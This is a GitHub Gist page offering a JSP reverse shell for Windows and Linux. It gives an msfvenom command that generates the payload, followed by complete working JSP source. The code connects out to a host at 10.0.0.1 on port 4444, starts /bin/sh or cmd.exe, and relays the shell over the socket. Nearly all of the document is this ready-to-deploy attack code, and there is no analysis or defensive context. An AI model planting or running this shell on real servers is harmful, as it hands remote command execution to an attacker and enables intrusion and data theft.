Skip to content

Instantly share code, notes, and snippets.

@enderphan94
Last active September 19, 2020 16:16
Show Gist options
  • Save enderphan94/fea3e1ecc9fa77e0c1d267597f9e5bc2 to your computer and use it in GitHub Desktop.
Save enderphan94/fea3e1ecc9fa77e0c1d267597f9e5bc2 to your computer and use it in GitHub Desktop.
windows and Linux jsp reverse shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw > shell.jsp

<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector extends Thread
{
InputStream zd;
OutputStream fm;
StreamConnector( InputStream zd, OutputStream fm )
{
this.zd = zd;
this.fm = fm;
}
public void run()
{
BufferedReader fr = null;
BufferedWriter ctw = null;
try
{
fr = new BufferedReader( new InputStreamReader( this.zd ) );
ctw = new BufferedWriter( new OutputStreamWriter( this.fm ) );
char buffer[] = new char[8192];
int length;
while( ( length = fr.read( buffer, 0, buffer.length ) ) > 0 )
{
ctw.write( buffer, 0, length );
ctw.flush();
}
} catch( Exception e ){}
try
{
if( fr != null )
fr.close();
if( ctw != null )
ctw.close();
} catch( Exception e ){}
}
}
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket( "10.0.0.1", 4444 );
Process process = Runtime.getRuntime().exec( ShellPath );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment